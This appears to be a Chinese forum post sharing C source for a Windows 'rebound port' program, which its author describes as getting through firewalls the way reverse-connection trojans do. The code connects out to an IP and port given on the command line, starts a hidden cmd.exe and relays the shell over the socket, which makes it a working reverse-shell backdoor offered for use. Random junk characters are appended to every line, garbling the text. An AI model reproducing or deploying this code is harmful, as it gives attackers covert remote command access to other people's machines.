这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >N#Nz
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/* ============================== 6:(s8e
Rebound port in Windows NT o9}\vN0F
By wind,2006/7 {}s/p9F4
===============================*/ Al?%[-u
#include %?[gBf[y
#include iZG-ca
g-K;J4 K%
#pragma comment(lib,"wsock32.lib") cg {5\Vl
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void OutputShell(); P;.roD9
SOCKET sClient; s4|tWfZ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9`Qa/Y!
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void main(int argc,char **argv) 8gavcsVE[
{ 0U7Gl9~
WSADATA stWsaData; [~8U],?1
int nRet; 'd2
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SOCKADDR_IN stSaiClient,stSaiServer; <TVJ9l
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if(argc != 3) *OA(v^@tx7
{ _>vH%FY
printf("Useage:\n\rRebound DestIP DestPort\n"); {ENd]@N*
return; ou-#+Sdd
} }<~(9_+
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WSAStartup(MAKEWORD(2,2),&stWsaData); `<g]p-=":
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T'}kCnp
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stSaiClient.sin_family = AF_INET; ^# #j
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stSaiClient.sin_port = htons(0); a]*{!V{$i
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9}QIqH\p
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) UJ,vE}=_{
{ oaQW~R`_
printf("Bind Socket Failed!\n"); (eF[nfM
return; QcrhgR
} 'ge$}L}4
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stSaiServer.sin_family = AF_INET; f_)#
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); el2Wk@*
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &?y@`',a0{
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w<H2#d>5!@
{ w=]A;GgA
printf("Connect Error!"); [z"E"_r~%Y
return; JOG-i
} [;{xiW4V]
OutputShell(); I=dn]}b#P
} {d<XDx4`
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void OutputShell() kxKb}>=
{ 2FZT
char szBuff[1024]; /ckkqk"
SECURITY_ATTRIBUTES stSecurityAttributes; rGQD+ d
OSVERSIONINFO stOsversionInfo; >TglX t+
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Fm:Ys](
STARTUPINFO stStartupInfo; @U!&XZ]h
char *szShell; %~:\f#6
PROCESS_INFORMATION stProcessInformation; LCSvw
unsigned long lBytesRead; WyOav6/*K^
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8o+:|V~X
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K6-)l
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stSecurityAttributes.lpSecurityDescriptor = 0; 0\U*
stSecurityAttributes.bInheritHandle = TRUE; a>l,H#w*vW
2OpA1$n6
sSfP.R
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L~f~XgQ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Dl.UbH
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); pq
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cBqbbZyUk
stStartupInfo.wShowWindow = SW_HIDE; d BB?A~
stStartupInfo.hStdInput = hReadPipe; c/ImK`:)4a
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L+G0/G}O\
OLIMgc(W
GetVersionEx(&stOsversionInfo); uDND o
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-
switch(stOsversionInfo.dwPlatformId) }' tJc $!
{ |J4sQ!%K
case 1: g4k3~,=D3
szShell = "command.com"; Y!45Kio
break; Z$INmo6
default: q)9n%- YgP
szShell = "cmd.exe"; 2FaCrc/
break; bD=H$)
} *lA+-gkK*
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 05{}@tW-
=v^#MU{k?
send(sClient,szMsg,77,0); C-S>'\|8
while(1) k62s|VeU
{ VoYL}67c
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); C)R hld
if(lBytesRead) y;CX)!8
{ ;o'r@4^&$R
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); CyLwCS{V\
send(sClient,szBuff,lBytesRead,0); d+G%\qpzQ
} @:RoY vk$
else Dqo#+_v
{ h2x9LPLBxT
lBytesRead=recv(sClient,szBuff,1024,0); baD063P;
if(lBytesRead<=0) break; bK!h{Rr
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); C_>XtcU
} oh:9v+
} %\,9S`0
_BA; H+M
return; LI@BB:)[
}